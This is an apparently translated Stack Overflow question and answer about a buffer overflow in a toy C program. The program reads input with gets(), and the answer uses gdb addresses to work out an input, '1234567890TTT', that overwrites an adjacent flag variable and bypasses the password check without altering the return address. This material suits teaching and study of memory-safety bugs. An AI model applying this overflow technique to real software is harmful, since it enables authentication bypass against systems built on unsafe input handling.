不改变返回地址的缓冲区溢出攻击

3
我需要在下面的示例代码中调用登录函数。我们可以使用缓冲区溢出攻击,将返回地址直接更改为登录函数来实现这一点。但我需要保留返回地址不变。是否有其他方法可以打印已登录消息而不更改返回地址?
char getPass()
{
     int flag = 'F';
     char pass[10];
     gets(pass);
     return (char) flag;
}

void login()
{
    printf("Logged in");
    exit(0);
}
void main()
{
    printf("Enter Passwd");
    if(getPass() == 'T')
    {
        login();
    }else{
        print("Failed");
        exit(1);
    }
}

gets()函数由于安全漏洞问题已在C11中被移除,因此此代码无法在C11编译器上编译。 - JohnH
2
@JohnH 这正是问题的关键。OP试图利用这个漏洞。 - dbush
1个回答

4

使这个程序正常工作取决于编译器决定如何排列变量。如果flag出现在pass之后的内存中,那么输入比pass更多的字符将导致flag被覆盖。

当我在调试器中运行这个程序并打印这些变量的地址时,我得到了以下结果:

(gdb) start
Temporary breakpoint 1 at 0x40060e: file x1.c, line 19.
Starting program: /home/dbush/./x1 

Temporary breakpoint 1, main () at x1.c:19
19      printf("Enter Passwd");
Missing separate debuginfos, use: debuginfo-install glibc-2.17-292.el7.x86_64
(gdb) step
20      if(getPass() == 'T')
(gdb) 
getPass () at x1.c:6
6        int flag = 'F';
(gdb) 
8        gets(pass);
(gdb) p pass
$1 = "\000\000\000\000\000\000\000\000", <incomplete sequence \341>
(gdb) p &pass
$2 = (char (*)[10]) 0x7fffffffdec0
(gdb) p &flag
$3 = (int *) 0x7fffffffdecc

我们可以看到,在这个特定的实例中,`flag` 在 `pass` 的开头后面 12 个字节。我的机器也是小端字节序,这意味着 `flag` 的前 4 个字节中的第一个字节包含要被覆盖的值。
因此,我们可以通过输入 13 个字符来利用缓冲区溢出漏洞,其中最后一个字符是 `T`。这会导致将 10 个字符写入 `pass`,两个字符写入 `pass` 和 `flag` 之间的填充字节,字符 `T` 写入 `flag` 的第一个字节,并在 `flag` 的第二个字节中写入终止的空字节。现在变量 `flag` 包含了从函数返回的 `‘T’`。
还要注意一点,这样做不会将数据写入 `flag` 后面的函数返回值。这是因为 `flag` 是一个整数,并且使用了小端字节序。
示例输入/输出: (未提供)
[dbush@db-centos7 ~]$ ./x1
Enter Passwd1234567890TTT
Logged in[dbush@db-centos7 ~]$ 

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接